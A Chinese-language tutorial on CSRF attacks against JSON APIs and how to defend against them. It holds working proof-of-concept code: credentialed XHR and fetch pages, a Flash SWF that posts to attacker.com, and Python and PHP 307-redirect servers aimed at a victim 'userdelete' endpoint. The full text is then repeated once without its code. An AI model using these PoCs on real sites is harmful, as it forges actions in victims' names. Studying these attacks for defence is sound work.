谈谈Json格式下的CSRF攻击
字数 1710 2025-08-18 11:38:45

JSON格式下的CSRF攻击分析与防御

一、CSRF漏洞基础

1.1 CSRF漏洞原理

CSRF(跨站请求伪造)漏洞的成因是网站的cookie在浏览器中不会过期,只要不关闭浏览器或退出登录,访问该网站都会保持登录状态。攻击者在此期间发送构造好的CSRF脚本或链接,可能执行用户不希望的操作(如添加账号)。

1.2 JSON格式下的CSRF特殊性

在POST标准化格式(如accounts=test&password=aaa)的表单页面中,构造CSRF攻击页面相对简单。但在JSON格式下,CSRF攻击面临以下挑战:

  1. POST body需要以JSON格式发送,使用HTML表单元素构建较为麻烦
  2. Content-Type头需要设置为application/json
  3. 设置自定义Header需要使用XMLHttpRequests,这会发送OPTIONS预检请求

二、CSRF防御方案

2.1 常见防御措施

  1. 用户操作验证:提交数据时需要输入验证码
  2. 请求来源验证:验证请求来源的Referer
  3. 表单Token验证:使用随机且不可预测的Anti CSRF Token

2.2 Token验证流程

  1. 用户访问表单页面
  2. 服务端生成Token,存入用户Session或浏览器Cookie
  3. 页面表单附带Token参数
  4. 用户提交请求后,服务端验证表单Token与Session/Cookie中的Token是否一致

2.3 SameSite Cookie属性

在前后端分离(如使用AJAX)无法设置Token时,可使用SameSite属性:

  • SameSite=Strict:严格模式,任何情况下都不能作为第三方Cookie
  • SameSite=Lax:宽松模式,异步请求和form提交跳转时不能作为第三方Cookie

使用建议

  • 登录态关键Cookie设置为Strict
  • 动态创建用于校验登录态的Cookie设置为Lax
  • 若页面可能被iframe或需要JSONP,则不能设置Strict或Lax

三、JSON CSRF攻击方法

3.1 不验证Content-Type的情况

当服务端不校验或严格校验Content-Type时,可使用XHR实现CSRF:

<html>
<head>
<script>
function submitRequest() {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://victim.com/api", true);
    xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
    xhr.withCredentials = true;
    xhr.send(JSON.stringify({"key":"value"}));
}
</script>
</head>
<body>
<form action="">
<input type="button" value="Submit request" onClick="submitRequest()">
</form>
</body>
</html>

或使用fetch API:

<html>
<title>JSON CSRF POC</title>
<script>
    fetch('http://victim.com/vul.page', {
        method: 'POST', 
        credentials: 'include', 
        headers: {'Content-Type': 'text/plain'}, 
        body: '{"name":"attacker","email":"attacker.com"}'
    });
</script>
</html>

3.2 验证Content-Type的情况

利用Flash跨域与307跳转绕过HTTP自定义头限制:

  1. 创建Flash文件
    • 安装Flex SDK
    • 编写ActionScript代码并编译为SWF文件

示例ActionScript代码(csrf.as):

package{
    import flash.display.Sprite;
    import flash.net.URLLoader;
    import flash.net.URLRequest;
    import flash.net.URLRequestHeader;
    import flash.net.URLRequestMethod;
    
    public class csrf extends Sprite {
        public function csrf() {
            super();
            var myJson:String = '{"id":102}';
            var url:String = "http://attacker.com/307.php";
            var request:URLRequest = new URLRequest(url);
            request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
            request.data = myJson;
            request.method = URLRequestMethod.POST;
            var urlLoader:URLLoader = new URLLoader();
            try {
                urlLoader.load(request);
                return;
            } catch(e:Error) {
                trace(e);
                return;
            }
        }
    }
}
  1. 创建307跳转服务端

Python示例(pyserver.py):

import BaseHTTPServer
import time
import sys

HOST = ''
PORT = 8000

class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_POST(self):
        if self.path == '/csrf.swf':
            self.send_response(200)
            self.send_header("Content-Type","application/x-shockwave-flash")
            self.end_headers()
            self.wfile.write(open("csrf.swf", "rb").read())
            return
        self.send_response(307)
        self.send_header("Location", "https://victim-site/userdelete")
        self.end_headers()

if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class((HOST, PORT), RedirectHandler)
    print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)

PHP示例(307.php):

<?php
$victim_url = $_GET['endpoint'];
header("Location: $victim_url", true, 307);
?>
  1. 最终POC
http://attacker.com/csrf/test.swf?jsonData={"id":49}&php_url=http://attacker.com/csrf/test.php&endpoint=http://victim.com/api&ct=application/json

3.3 攻击流程

  1. 受害者访问POC,向攻击者服务器发起SWF请求
  2. SWF向307.php发送HTTP POST请求
  3. 307.php发起307跳转到目标站点,携带HTTP方法、Header和POST数据
  4. 目标站点收到POST请求,Content-Type为application/json

3.4 限制与注意事项

  1. Flash Header有黑名单,不能设置Referer等特定头
  2. 现代浏览器(2018年后)在307跳转时可能不会传递Content-Type
  3. 需要目标站点有宽松的crossdomain.xml策略

四、防御JSON CSRF的最佳实践

  1. 严格验证Content-Type:确保为application/json
  2. 使用CSRF Token:即使是JSON API也应实施Token验证
  3. SameSite Cookie:关键Cookie设置为Strict或Lax
  4. Referer检查:验证请求来源
  5. CORS策略:合理配置跨域资源共享策略
  6. 禁用旧技术:如Flash等易被利用的旧技术

五、总结

JSON格式的CSRF攻击相比传统表单CSRF更具挑战性,但通过Flash+307跳转等技术仍可能实现。防御方面应多层防护,结合Token、SameSite Cookie和严格的内容类型验证。随着浏览器安全机制增强,旧攻击方法可能失效,但安全防护仍需与时俱进。

JSON格式下的CSRF攻击分析与防御 一、CSRF漏洞基础 1.1 CSRF漏洞原理 CSRF(跨站请求伪造)漏洞的成因是网站的cookie在浏览器中不会过期,只要不关闭浏览器或退出登录,访问该网站都会保持登录状态。攻击者在此期间发送构造好的CSRF脚本或链接,可能执行用户不希望的操作(如添加账号)。 1.2 JSON格式下的CSRF特殊性 在POST标准化格式(如 accounts=test&password=aaa )的表单页面中,构造CSRF攻击页面相对简单。但在JSON格式下,CSRF攻击面临以下挑战: POST body需要以JSON格式发送,使用HTML表单元素构建较为麻烦 Content-Type头需要设置为 application/json 设置自定义Header需要使用XMLHttpRequests,这会发送OPTIONS预检请求 二、CSRF防御方案 2.1 常见防御措施 用户操作验证 :提交数据时需要输入验证码 请求来源验证 :验证请求来源的Referer 表单Token验证 :使用随机且不可预测的Anti CSRF Token 2.2 Token验证流程 用户访问表单页面 服务端生成Token,存入用户Session或浏览器Cookie 页面表单附带Token参数 用户提交请求后,服务端验证表单Token与Session/Cookie中的Token是否一致 2.3 SameSite Cookie属性 在前后端分离(如使用AJAX)无法设置Token时,可使用SameSite属性: SameSite=Strict :严格模式,任何情况下都不能作为第三方Cookie SameSite=Lax :宽松模式,异步请求和form提交跳转时不能作为第三方Cookie 使用建议 : 登录态关键Cookie设置为Strict 动态创建用于校验登录态的Cookie设置为Lax 若页面可能被iframe或需要JSONP,则不能设置Strict或Lax 三、JSON CSRF攻击方法 3.1 不验证Content-Type的情况 当服务端不校验或严格校验Content-Type时,可使用XHR实现CSRF: 或使用fetch API: 3.2 验证Content-Type的情况 利用Flash跨域与307跳转绕过HTTP自定义头限制: 创建Flash文件 : 安装Flex SDK 编写ActionScript代码并编译为SWF文件 示例ActionScript代码(csrf.as): 创建307跳转服务端 : Python示例(pyserver.py): PHP示例(307.php): 最终POC : 3.3 攻击流程 受害者访问POC,向攻击者服务器发起SWF请求 SWF向307.php发送HTTP POST请求 307.php发起307跳转到目标站点,携带HTTP方法、Header和POST数据 目标站点收到POST请求,Content-Type为application/json 3.4 限制与注意事项 Flash Header有黑名单,不能设置Referer等特定头 现代浏览器(2018年后)在307跳转时可能不会传递Content-Type 需要目标站点有宽松的crossdomain.xml策略 四、防御JSON CSRF的最佳实践 严格验证Content-Type :确保为application/json 使用CSRF Token :即使是JSON API也应实施Token验证 SameSite Cookie :关键Cookie设置为Strict或Lax Referer检查 :验证请求来源 CORS策略 :合理配置跨域资源共享策略 禁用旧技术 :如Flash等易被利用的旧技术 五、总结 JSON格式的CSRF攻击相比传统表单CSRF更具挑战性,但通过Flash+307跳转等技术仍可能实现。防御方面应多层防护,结合Token、SameSite Cookie和严格的内容类型验证。随着浏览器安全机制增强,旧攻击方法可能失效,但安全防护仍需与时俱进。